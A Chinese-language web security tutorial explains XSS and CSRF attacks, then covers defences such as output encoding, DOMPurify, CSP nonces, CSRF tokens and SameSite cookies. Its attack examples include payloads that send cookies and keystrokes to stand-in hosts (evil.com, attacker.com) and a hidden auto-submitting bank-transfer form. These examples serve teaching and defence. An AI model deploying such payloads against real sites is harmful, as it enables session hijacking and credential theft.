
为什么 XSS 和 CSRF 仍然主导漏洞报告
尽管 XSS 和 CSRF 是存在数十年的攻击类别,但它们仍然位列 OWASP Top 10,原因很简单:攻击面随着应用的增长而扩大。每一个新的输入字段、每一个第三方脚本、每一个改变状态的表单都可能成为攻击向量。
现代框架自动缓解了许多情况——React 默认转义 JSX,Angular 净化模板。但“默认基本安全”并不等同于“安全”。理解攻击机制有助于你识别那些绕过框架自动保护的情况。

跨站脚本攻击(XSS)详解
XSS 发生在攻击者向其他用户查看的页面注入恶意脚本时。浏览器在合法站点的上下文中执行该脚本,使攻击者能够访问 cookie、会话令牌和页面内容。
三种类型的 XSS
反射型 XSS——payload 在 URL 中,在响应中反射回来:
恶意 URL: https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
服务器响应(存在漏洞):
<p>Results for: <script>document.location='https://evil.com/steal?c='+document.cookie</script></p>
受害者点击带有此 URL 的链接 → 浏览器执行脚本 → cookie 发送给攻击者。
存储型 XSS——payload 持久化在数据库中:
攻击者发布评论:
"Great article! <script>fetch('https://evil.com/'+document.cookie)</script>"
服务器存储该评论。当其他用户加载页面时,脚本对所有用户执行。
这更危险——每次页面浏览都是一次攻击。
基于 DOM 的 XSS——不涉及服务器;JavaScript 从攻击者控制的源读取数据:
// 存在漏洞的代码
const name = new URLSearchParams(window.location.search).get('name')
document.getElementById('greeting').innerHTML = 'Hello, ' + name
// URL: /page?name=<img src=x onerror="alert(document.cookie)">

攻击者利用 XSS 做什么
// 会话劫持
fetch('https://attacker.com/steal?token=' + document.cookie)
// 凭证窃取——注入虚假登录表单
document.body.innerHTML = '<div style="..."><form action="https://attacker.com/collect">...'
// 键盘记录
document.addEventListener('keypress', e => {
fetch('https://attacker.com/log?k=' + e.key)
})
// 挖矿、广告欺诈、点击劫持……
XSS 防护
1. 输出编码——主要防御手段:
// 绝对不要这样做:
element.innerHTML = userInput
// 对于纯文本,始终使用 textContent:
element.textContent = userInput
// 对于 HTML 输出,使用净化库:
import DOMPurify from 'dompurify'
element.innerHTML = DOMPurify.sanitize(userInput)
// DOMPurify 允许安全的 HTML(粗体、链接)并移除脚本
// 服务端(Node.js):
import { escape } from 'html-escaper'
const safeOutput = escape(userInput)
// 转换:< → < > → > & → & " → "
2. React 特定注意事项:
// React 自动转义 JSX 表达式——这是安全的:
function UserName({ name }: { name: string }) {
return <p>Hello, {name}</p> // 自动转义
}
// dangerouslySetInnerHTML 绕过转义——先净化:
function RichContent({ html }: { html: string }) {
// ❌ 未经净化绝对不要这样做:
return <div dangerouslySetInnerHTML={{ __html: html }} />
// ✅ 使用 DOMPurify 净化:
const cleanHtml = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'strong', 'em', 'a', 'ul', 'li', 'code'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
})
return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />
}
// href 属性需要特别小心:
// ❌ javascript: URL 绕过 React 的转义
const url = 'javascript:alert(1)'
<a href={url}>Click</a> // React 原样渲染!
// ✅ 验证 URL 协议:
function SafeLink({ href, children }: { href: string, children: React.ReactNode }) {
const safeHref = /^https?:///.test(href) ? href : '#'
return <a href={safeHref} rel="noopener noreferrer">{children}</a>
}
3. 内容安全策略(CSP):
CSP 是一种浏览器安全层,限制页面可以加载哪些资源:
# HTTP 头:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self'; img-src 'self' data: https://cdn.example.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'
指令详解:
default-src 'self':默认只从同源加载资源script-src 'self' 'nonce-{random}':脚本仅来自同源 + 带有匹配 nonce 的内联脚本frame-ancestors 'none':防止点击劫持(替代 X-Frame-Options)
基于 nonce 的 CSP 用于内联脚本:
// 服务器为每个请求生成随机 nonce
const nonce = crypto.randomBytes(16).toString('base64')
// 设置头
res.setHeader('Content-Security-Policy',
`script-src 'self' 'nonce-${nonce}'; style-src 'self' 'nonce-${nonce}'`
)
// 为内联脚本添加 nonce
res.send(`<script nonce="${nonce}">
// 此脚本运行,因为它有匹配的 nonce
initApp()
</script>`)
// 没有 nonce 的脚本会被浏览器阻止
Next.js CSP 配置:
// middleware.ts
import { NextResponse } from 'next/server'
export function middleware(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64')
const csp = `
default-src 'self';
script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
style-src 'self' 'nonce-${nonce}';
img-src 'self' blob: data:;
connect-src 'self';
font-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
`.replace(/\s{2,}/g, ' ').trim()
const response = NextResponse.next()
response.headers.set('Content-Security-Policy', csp)
return response
}

跨站请求伪造(CSRF)
CSRF 诱使已认证用户的浏览器向另一个站点发起请求。浏览器会自动包含 cookie,因此请求到达服务器时看起来是合法的。
攻击场景
<!-- 攻击者的页面:evil.com -->
<!-- 受害者已登录 bank.com -->
<form action="https://bank.com/transfer" method="POST" id="hiddenForm">
<input type="hidden" name="to" value="attacker-account" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('hiddenForm').submit()</script>
<!-- 浏览器发送请求,附带受害者的 bank.com cookie -->
CSRF 防护方法
1. CSRF 令牌(同步器令牌模式):
// 服务器为每个会话生成并存储 CSRF 令牌
import crypto from 'crypto'
function generateCsrfToken(): string {
return crypto.randomBytes(32).toString('hex')
}
// 在每个表单响应中包含
app.get('/transfer', (req, res) => {
const csrfToken = generateCsrfToken()
req.session.csrfToken = csrfToken
res.render('transfer', { csrfToken })
})
// HTML 表单包含令牌
// <input type="hidden" name="_csrf" value="{{csrfToken}}">
// 在 POST 时验证
app.post('/transfer', (req, res) => {
const { _csrf, amount, to } = req.body
if (_csrf !== req.session.csrfToken) {
return res.status(403).json({ error: 'Invalid CSRF token' })
}
// 处理转账……
})
2. SameSite Cookie(现代防御):
// Set-Cookie: sessionId=abc123; SameSite=Strict; Secure; HttpOnly
// SameSite=Strict: 任何跨站请求都不发送 cookie
// SameSite=Lax: 跨站顶级 GET 请求发送,其他站点的 POST/PUT 不发送
res.cookie('sessionId', token, {
httpOnly: true, // 不可通过 JavaScript 访问
secure: true, // 仅 HTTPS
sameSite: 'strict', // 无跨站请求
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 天
})
// 对于 API,推荐 SameSite=Lax + 验证 Origin 头
3. 双重提交 Cookie:
// 无状态 CSRF 保护,适用于 API
// 1. 服务器设置 CSRF cookie(非 HttpOnly,以便 JS 可读)
// 2. 客户端读取 cookie,将其包含在请求头中
// 3. 服务器验证 cookie 值与头值匹配
// 客户端:
function getCookie(name: string): string | null {
const match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)'))
return match ? match[2] : null
}
// 添加到所有改变状态的请求:
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCookie('csrf-token') ?? '',
},
body: JSON.stringify({ amount, to }),
})
// 服务器验证:
app.post('/api/transfer', (req, res) => {
const cookieToken = req.cookies['csrf-token']
const headerToken = req.headers['x-csrf-token']
if (!cookieToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF validation failed' })
}
// 继续……
})
4. Origin/Referer 头验证:
// 简单的 API CSRF 检查
function validateOrigin(req: Request): boolean {
const origin = req.headers.origin || req.headers.referer
if (!origin) return false // 拒绝没有 origin 的请求
const allowedOrigins = ['https://example.com', 'https://app.example.com']
return allowedOrigins.some(allowed => origin.startsWith(allowed))
}
app.post('/api/*', (req, res, next) => {
if (!validateOrigin(req)) {
return res.status(403).json({ error: 'Origin not allowed' })
}
next()
})
防御清单
XSS 防御:
□ 对用户数据使用 textContent 而非 innerHTML
□ 在渲染前使用 DOMPurify 净化 HTML
□ 实施 CSP 头(至少:default-src 'self')
□ 在渲染 href 属性前验证 URL 协议
□ 绝不对用户输入使用 eval() 或 new Function()
□ 对会话 cookie 设置 HttpOnly(防止 JS 访问)
CSRF 防御:
□ 对会话 cookie 设置 SameSite=Strict 或 SameSite=Lax
□ 在所有改变状态的表单中使用 CSRF 令牌
□ 对 API 端点验证 Origin/Referer
□ 使用 POST/PUT/DELETE 进行状态更改(绝不用 GET)
通用:
□ X-Content-Type-Options: nosniff
□ X-Frame-Options: DENY(或 CSP frame-ancestors)
□ Strict-Transport-Security: max-age=31536000
□ Referrer-Policy: strict-origin-when-cross-origin
理解攻击机制——而不仅仅是记住防御措施——才能进行有效的安全代码审查。当你确切知道攻击者如何利用搜索框中的反射型 XSS 时,你编写的代码与仅仅“遵循安全最佳实践”时截然不同。
→ 使用 HTML Entities 工具安全编码 HTML 实体以防止 XSS。